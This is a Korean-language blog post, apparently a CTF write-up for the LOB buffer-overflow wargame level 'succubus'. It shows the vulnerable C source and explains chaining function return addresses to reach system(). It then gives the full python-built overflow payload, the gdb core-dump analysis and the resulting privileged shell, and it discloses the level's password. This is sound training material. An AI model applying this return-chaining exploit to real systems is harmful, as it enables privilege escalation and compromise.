시작
안녕하세요!! :D
어제 14회 정보보안 산업기사 필기 시험을 봤습니다 ㅋㅋㅋㅋㅋㅋ
역대급 난이도였다던데.. 저도 간당간당 할 것 같네요 ㅠㅠ
자자 휴가 나왔을 때만 풀 수 있는 전설의 문제.. LOB..
이번에 끝장을 봐야겠어요 ㅎㅎ
시작해보죠!!
Write UP
/*
The Lord of the BOF : The Fellowship of the BOF
- succubus
- calling functions continuously
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
// the inspector
int check = 0;
void MO(char *cmd)
{
if(check != 4)
exit(0);
printf("welcome to the MO!\n");
// olleh!
system(cmd);
}
void YUT(void)
{
if(check != 3)
exit(0);
printf("welcome to the YUT!\n");
check = 4;
}
void GUL(void)
{
if(check != 2)
exit(0);
printf("welcome to the GUL!\n");
check = 3;
}
void GYE(void)
{
if(check != 1)
exit(0);
printf("welcome to the GYE!\n");
check = 2;
}
void DO(void)
{
printf("welcome to the DO!\n");
check = 1;
}
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// you cannot use library
if(strchr(argv[1], '\x40')){
printf("You cannot use library\n");
exit(0);
}
// check address
addr = (char *)&DO;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with DO\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer
// 100 : extra space for copied argv[1]
memset(buffer, 0, 44);
memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
코드는 긴데 내용은 생각보다 단순하네요.
MO() 부분에 system 함수가 있는 걸 보니 리턴 값을 조작해서 저쪽으로 보내야 할 것 같습니다.
MO()의 시작 부분에 check 값을 검사하는데, 얘가 4여야 해요.
전역변수인 check값은 DO(), GAE(), GUL(), YUT()을 지날 떄 바뀌는데, 4까지 가려면 저 4개의 함수를 다 지나야 해요.
따라서 BUF + SFP 값인 44 bytes를 더미로 채워주고
&DO + &GYE + &GUL + &YUT + &MO 하면 MO 함수까지 오겠네요.
이제 인자값인 cmd를 넣어줘야겠죠?
얘는 32 bit 함수 호출 규약 특성 상 func() + ret(func_2()) + argv[] 형식이기 때문에
&MO + dummy(4) + &”/bin//sh” 형태로 페이로드가 구성됩니다.
"/bin//sh"
는 어떻게 넣어줄까요?
페이로드 끝에 문자열로 넣어준 후 core를 확인해서 시작위치를 확인해보겠습니다.
[zombie_assassin@localhost succubus]$ ./succubus `python -c 'print "A" * 44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "BBBB" + "CCCC" + "/bin//sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒\$BBBBCCCC/bin//sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
Segmentation fault (core dumped)
[zombie_assassin@localhost succubus]$ gdb -q -c ./core
Core was generated by ` '.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) x/10s $esp
0xbffffaa4: "CCCC/bin//sh"
0xbffffab1: "\210\004\b\002"
0xbffffab6: ""
0xbffffab7: ""
0xbffffab8: "▒▒▒▒\234\203\004\bL\211\004\b`▒"
0xbffffac7: "@▒▒▒▒\220>\001@\002"
0xbffffad2: ""
0xbffffad3: ""
0xbffffad4: "▒▒▒▒▒▒▒▒"
0xbffffadd: ""
(gdb) x/s 0xbffffaa8
0xbffffaa8: "/bin//sh"
"/bin//sh"
의 주소까지 알아냈습니다!!
[zombie_assassin@localhost succubus]$ ./succubus `python -c 'print "A" * 44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "BBBB" + "\xa8\xfa\xff\xbf" + "/bin//sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒\$BBBB▒▒▒▒/bin//sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ id
uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin)
bash$ my-pass
euid = 517
here to stay
Exploit!!
마무리
이제 이 정도는 뭐.. 빠르게 마무리하겠습니다 ㅎㅎ
감사합니다 :D
'CTF_Write_UP > LOB' 카테고리의 다른 글
[LOB] nightmare (0) | 2019.10.03 |
---|---|
[LOB] succubus (0) | 2019.09.09 |
[LOB] zombie (0) | 2019.08.03 |
[LOB] giant (0) | 2019.08.03 |
[LOB] bugbear (0) | 2019.08.02 |